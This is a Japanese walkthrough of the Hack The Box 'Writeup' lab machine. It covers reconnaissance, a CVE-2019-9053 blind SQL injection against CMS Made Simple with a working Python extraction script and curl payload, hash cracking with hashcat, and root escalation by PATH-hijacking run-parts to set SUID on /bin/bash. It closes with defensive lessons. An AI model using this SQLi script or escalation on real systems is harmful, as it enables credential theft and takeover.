Hack The BoxのWriteup(Writeup)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Writeup — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
robots.txt → /writeup/
CMS Made Simple 2019
→
CVE-2019-9053
time-based blind SQLi
→
salt + hash抽出
cms_siteprefs / cms_users
→
hashcat -m 20
jkr:raykayjay9
→
SSH jkr
user.txt ✓
→
staff グループ発見
/usr/local/{bin,sbin} 書込可
→
run-parts PATH hijack
SSHログインmotdでroot実行
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.41
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80 10.129.86.41
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Nothing here yet.
| http-robots.txt: 1 disallowed entry
|_/writeup/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
トップページは “Nothing here yet.” の空ページだが、robots.txt に /writeup/ という disallow エントリが残っており、実際のコンテンツの 在り処を教えてくれている(robots.txt は検索エンジン向けの除外指定であり、アクセス制御ではない点に注意)。
PHASE 2

CMS Made Simple 発見 & DoS保護(fail2ban系)への対処

/writeup/ の内容確認

BASH
curl -s http://10.129.86.41/writeup/
RESULT
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
...
<h1>writeup</h1>
<p>After many month of lurking around on HTB I also decided to start writing
about the boxes I hacked...</p>
🚨
CMS Made Simple (2019年版) と判明。この時期のCMSMSには 既知のクリティカル脆弱性 CVE-2019-9053(EDB-ID 46635、time-based blind SQLi) が存在する。

⚠️ 重要な注意: ディレクトリ・ブルートフォース/積極的スキャンは絶対禁止

NOTE
本ターゲットの Apache には fail2ban 系の DoS/ブルートフォース対策が
設定されており、gobuster によるディレクトリ探索や ffuf による
vhost/サブドメイン・フラッディング(数千リクエストのバースト送信)を行うと、
攻撃元IPからの port 80 への接続が長時間(本検証では30分以上)にわたって
不安定化した(nmapのSYNスキャンですら "filtered" と誤判定するほど
接続成功率が1/10〜1/15程度まで低下)。

一度この状態に陥ると、CMS自体への正規のリクエストすら頻繁に失敗するようになり、
その後の全フェーズが大幅に遅延する。

対策: このボックスでは robots.txt から既にCMSのパスが分かっているため、
gobuster等のディレクトリ探索は一切不要。/writeup/ 配下への
最小限のリクエストのみで進めること。
⚠️
既にバーストスキャンで接続不安定化を起こしてしまった場合は、 スキャンを完全に停止し、数分〜数十分待ってから単発の curl --max-time 8 http://<target>/writeup/ を間隔を空けて リトライする。接続が1回でも成功すれば、そのセッションで一気に SQLi以降の手順を進める。
PHASE 3

CVE-2019-9053 time-based blind SQLi で salt + password hash 抽出

脆弱性の原理

NOTE
CMS Made Simple の News モジュール用エンドポイント moduleinterface.php の
パラメータ "m1_idlist" が不十分なサニタイズのままSQLクエリに結合される。
典型的な悪用パターンは、閉じ括弧で元のIN句を終端し、サブクエリで
SLEEP() を条件分岐させる time-based blind SQLi:

  GET /writeup/moduleinterface.php?mact=News,m1,default,0&m1_idlist=
      a,b,1,5))+and+(select+sleep(1)+from++where++like+0x25...)+--+

・末尾の "25" は "%" のASCIIコード(0x25)、つまり LIKE 'prefix%' の
  ワイルドカード検索を hex エンコードで表現している
・応答が約1秒(SLEEP秒数)遅延すれば LIKE が真 → その1文字が正しいと判定
・遅延しなければ次の候補文字を試す、という総当たりを1文字ずつ繰り返す

抽出対象は2つ:
  1. cms_siteprefs テーブルの sitepref_name='salt' の sitepref_value (16 hex文字)
  2. cms_users テーブルの username='jkr' の password (32 hex文字、MD5)
      
    

    

1文字ずつの時間差ブラインド抽出(Python実装)

PYTHON (文字ごとの時間差SQLi抽出)
import subprocess, time

TARGET = "10.129.86.41"
URL = f"http://{TARGET}/writeup/moduleinterface.php?mact=News,m1,default,0&m1_idlist="
CHARSET = "0123456789abcdef"

def try_char(select_from_where_fmt: str, found: str, ch: str, delay=1.0) -> bool:
    prefix_hex = (found + ch).encode().hex()
    payload = ("a,b,1,5))+and+(select+sleep(%s)+%s)+--+" %
               (delay, select_from_where_fmt.format(hex=prefix_hex)))
    t0 = time.time()
    subprocess.run(["curl", "-s", "-o", "/dev/null", "--max-time",
                     str(int(delay) + 8), URL + payload], timeout=20)
    return time.time() - t0 >= delay

def extract(select_from_where_fmt: str, length: int) -> str:
    found = ""
    for _ in range(length):
        for ch in CHARSET:
            if try_char(select_from_where_fmt, found, ch):
                found += ch
                break
        else:
            break  # どの文字でも遅延しなかった場合は打ち切り
    return found

# salt (cms_siteprefs, 16 hex)
salt = extract(
    "from+cms_siteprefs+where+sitepref_value+like+0x{hex}25+"
    "and+sitepref_name+like+0x73616c74", 16)

# password hash (cms_users, 32 hex, username='jkr' = 0x6a6b72)
pw_hash = extract(
    "from+cms_users+where+password+like+0x{hex}25+"
    "and+username+like+0x6a6b72", 32)

print("salt:", salt)
print("hash:", pw_hash)
BASH (1リクエストの実例)
# salt の1文字目が '5' かどうかを判定するリクエスト例
curl -s -o /dev/null --max-time 9 \
  "http://10.129.86.41/writeup/moduleinterface.php?mact=News,m1,default,0&m1_idlist=a,b,1,5))+and+(select+sleep(1.0)+from+cms_siteprefs+where+sitepref_value+like+0x3525+and+sitepref_name+like+0x73616c74)+--+"
# → 応答が約1秒遅延すれば salt の1文字目は '5'
⚠️
この抽出は本質的に時間計測に依存するため、ネットワークが不安定だと 誤検出しやすい。フェーズ2のDoS保護で接続がバースト的に不安定化した 状態で実行すると、タイムアウトや遅延そのものを “SLEEPが発火した” と 誤判定し、salt/hash が 0000... のような無意味な値になることがある。 次フェーズで述べる通り、これは最終的にhashcatで救済できる。

抽出結果の保存

RESULT (抽出された salt:hash)
salt: 5a599ef579066807
hash: 62def4866937f08cc13bab43bb14e6f7
ℹ️
CMS Made Simple のパスワードハッシュ形式は MD5(salt + password)。 hashcat に渡す際は hash:salt の形式でファイルに保存する。
PHASE 4

hashcat クラック → SSH ログイン → user.txt

hashcat -m 20 でパスワードクラック

BASH
echo "62def4866937f08cc13bab43bb14e6f7:5a599ef579066807" > writeup.hash

# -m 20 は md5($salt.$pass) 形式 (hash:salt)
hashcat -a 0 -m 20 writeup.hash /usr/share/wordlists/rockyou.txt --quiet
hashcat -m 20 writeup.hash /usr/share/wordlists/rockyou.txt --show
RESULT
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
✅
クラック成功! jkr のパスワードは raykayjay9。

SSH ログイン & user.txt 取得

BASH
ssh jkr@10.129.86.41
# Password: raykayjay9

jkr@writeup:~$ id
jkr@writeup:~$ cat /home/jkr/user.txt
RESULT
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),
44(video),46(plugdev),50(staff),103(netdev)
09fb53d19057430cf6bf83c79f9a1fa6
user.txt — jkr
09fb53d19057430cf6bf83c79f9a1fa6
🚨
groups の出力に 非標準の staff グループ(gid 50)が 含まれている点に注目。Debian系では staff グループは慣習的に /usr/local/ 以下への書き込み権限を持つ特別なグループであり、 権限昇格の典型的な足がかりになる。
PHASE 5

staff グループの書込権限を調査

/usr/local/ 以下のパーミッション確認

BASH
jkr@writeup:~$ ls -la /usr/local/
jkr@writeup:~$ ls -la /usr/local/bin /usr/local/sbin
RESULT
drwxrwsr-x  2 root staff 4096 ... /usr/local/bin
drwxrwsr-x  2 root staff 4096 ... /usr/local/sbin
🚨
/usr/local/bin と /usr/local/sbin は setgid(s) ビット付きで staff グループに書込権限(rws / rwx)がある。jkr は staff グループの メンバーなので、この2つのディレクトリに任意のファイルを作成できる。

pspy でプロセス監視 — root が何を実行しているか観測

BASH
# pspy64 をアップロードしてバックグラウンドのプロセス生成を監視
jkr@writeup:~$ ./pspy64 -pf -i 1000
RESULT
CMD: UID=0    PID=xxxx  | run-parts --lsbsysinit /etc/update-motd.d
CMD: UID=0    PID=xxxx  | /bin/sh /etc/update-motd.d/...
🚨
新しい SSH ログインが発生するたびに、root 権限で run-parts が PATH 解決経由で実行されている(Debian/Ubuntu の update-motd.d 機構)。 run-parts はフルパス指定ではなくコマンド名のみで呼ばれているため、 root の環境変数 $PATH の解決順序次第でハイジャックが可能になる。

root の $PATH 解決順序を確認

NOTE
/etc/update-motd.d/00-header 等のスクリプトが呼び出し元シェルの PATH を
継承する環境では、デフォルトの root PATH は通常

  /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

のように /usr/local/sbin と /usr/local/bin が標準の /usr/sbin, /usr/bin
より先に解決される。つまり、これら2箇所に "run-parts" という名前の
実行可能ファイルを置けば、本物の /usr/bin/run-parts より先に
root権限で実行されることになる。
PHASE 6

run-parts PATH ハイジャック → SUID bash → root.txt

悪性 run-parts を両ディレクトリに配置

BASH
# 内容: 自分自身を即終了する前に /bin/bash に SUID を付与するシェルスクリプト
cat << 'EOF' > /tmp/run-parts
#!/bin/bash
chmod u+s /bin/bash
EOF

# /usr/local/sbin が root PATH で最優先なので、bin だけでなく
# 両方に配置する (sbin に別の run-parts が無い場合は bin だけでも
# 発火することがあるが、確実性を上げるため両方に置く)
cp /tmp/run-parts /usr/local/sbin/run-parts
cp /tmp/run-parts /usr/local/bin/run-parts
chmod +x /usr/local/sbin/run-parts /usr/local/bin/run-parts
RESULT
(配置完了、エラーなし — staffグループの書込権限で成功)
⚠️
sbin と bin の両方に配置するのが重要なポイント。 bin だけに置いて sbin 側に別の(無害な)run-parts が存在すると、 PATH 解決で sbin 側が先に見つかってしまい、ハイジャックが発火しない ケースがある。

新規SSHログインで motd 経由の root実行を発火させる

BASH
# 別ターミナル(または同一セッションから新規接続)で再ログイン。
# ログインバナー表示時に /etc/update-motd.d 配下のスクリプトが
# root権限で実行され、その中の run-parts 呼び出しが
# ハイジャックした /usr/local/{sbin,bin}/run-parts を解決・実行する。
ssh jkr@10.129.86.41
# (ログインするだけで発火。コマンド入力は不要)

SUID化の確認 & root.txt 取得

BASH
jkr@writeup:~$ ls -l /bin/bash
jkr@writeup:~$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash
uid=1000(jkr) gid=1000(jkr) euid=0(root) groups=1000(jkr),24(cdrom),25(floppy),
29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
c549e8fb45d80e4d1b518f14ed4a9df1
✅
権限昇格成功! /bin/bash に setuid ビット(rws)が付与され、 -p オプション(権限を保持したまま起動)で実効ユーザーID(euid)が 0 (root) になったシェルを取得。/root/root.txt を直接読み出せる。
root.txt — /root
c549e8fb45d80e4d1b518f14ed4a9df1
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jkr
09fb53d19057430cf6bf83c79f9a1fa6
root.txt — /root
c549e8fb45d80e4d1b518f14ed4a9df1

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
情報漏洩 /robots.txt 隠されたCMSパスの発見 Medium disallowエントリ “/writeup/” からコンテンツの実在位置を特定
CVE-2019-9053 CMS Made Simple 2.2.9 moduleinterface.php DB内の任意データ抽出(認証情報窃取) Critical m1_idlistパラメータへのtime-based blind SQLiで salt/password hashを1文字ずつ抽出
弱いパスワード jkr のCMSアカウント(SSHと共用) SSH侵入(user.txt) High 抽出したMD5(salt+pass)ハッシュをhashcat -m 20でrockyou.txt照合しクラック
PATH ハイジャック(staffグループ誤設定) /usr/local/{bin,sbin} (staffグループ書込可) + motd run-parts jkr → root への権限昇格 High root が毎SSHログイン時にフルパス指定なしで実行するrun-partsをPATH優先順位の高い場所でハイジャックしSUID化

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + robots.txt確認22/80、CMSパス /writeup/ の発見
2CMS確認curl(最小リクエストのみ、dir brute回避)CMS Made Simple 2019版と確認
3SQLi抽出CVE-2019-9053 time-based blind SQLisalt(16 hex) + jkr パスワードハッシュ(32 hex)
4クラック+ログインhashcat -m 20 → SSHuser.txt 取得(jkr:raykayjay9)、staffグループ発見
5権限調査ls -la /usr/local + pspy監視root motdのrun-parts PATH解決実行を確認
6権限昇格run-parts PATHハイジャック→SUID bashroot.txt 取得

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
gobuster等でディレクトリ探索すると、以後port 80への接続が長時間不安定になる このboxのApacheにはfail2ban系のDoS/ブルートフォース対策があり、バースト的な大量リクエストを検知してIPを遮断する。robots.txtで既にCMSパスが分かっているためディレクトリ探索は不要、最小限のリクエストのみに留める。
time-based blind SQLiの抽出結果が意味不明な値(0埋め等)になる ネットワークが不安定だとSLEEP由来の遅延と接続タイムアウトを区別できず誤検出する。文字数が正しくなければ抽出失敗と判断し、hashcatでのクラック(既知ワードリスト)に懸けるフォールバック運用が実用的。
run-partsを/usr/local/binだけに置いても権限昇格が発火しない場合がある root PATHは/usr/local/sbinが/usr/local/binより先に解決される。両方のディレクトリに同じハイジャックファイルを配置すると確実。
run-parts配置後、即座にrootシェルが来ない ハイジャックはSSHログイン時のmotd表示(/etc/update-motd.d)のタイミングでのみ発火する。配置後に新規ログインをもう一度行う必要がある(既存セッションでは発火しない)。

学んだ教訓 & 防御策

問題点防御策
robots.txtが非公開コンテンツのパスを事実上公開してしまっている robots.txtはアクセス制御の手段ではないことを理解し、本当に非公開にしたいパスは認証やIP制限等の実アクセス制御で保護する。
CMS Made Simpleの既知クリティカルSQLi(CVE-2019-9053)が未パッチ CMSソフトウェアは速やかにパッチ適用・バージョン更新する。WAFで既知PoCパターンを検知・遮断する。
CMSアカウントのパスワードがシステムのSSHログインと共用かつ辞書に載る弱いパスワード サービス間でパスワードを共用しない。NIST等が推奨する強力なパスワードポリシーを適用し、rockyou.txt等の既知辞書で破られない長さ・複雑さを要求する。
一般ユーザーが非標準のstaffグループ経由で/usr/local配下に書込可能、かつrootがフルパス指定なしでrun-partsを実行 最小権限の原則を徹底し、不要なグループ付与を避ける。root権限で実行するスクリプトは必ずフルパス指定にし、相対PATH解決に依存しない。/usr/local配下への書込権限は管理者のみに限定する。
HackTheBox: Writeup | 完全攻略レポート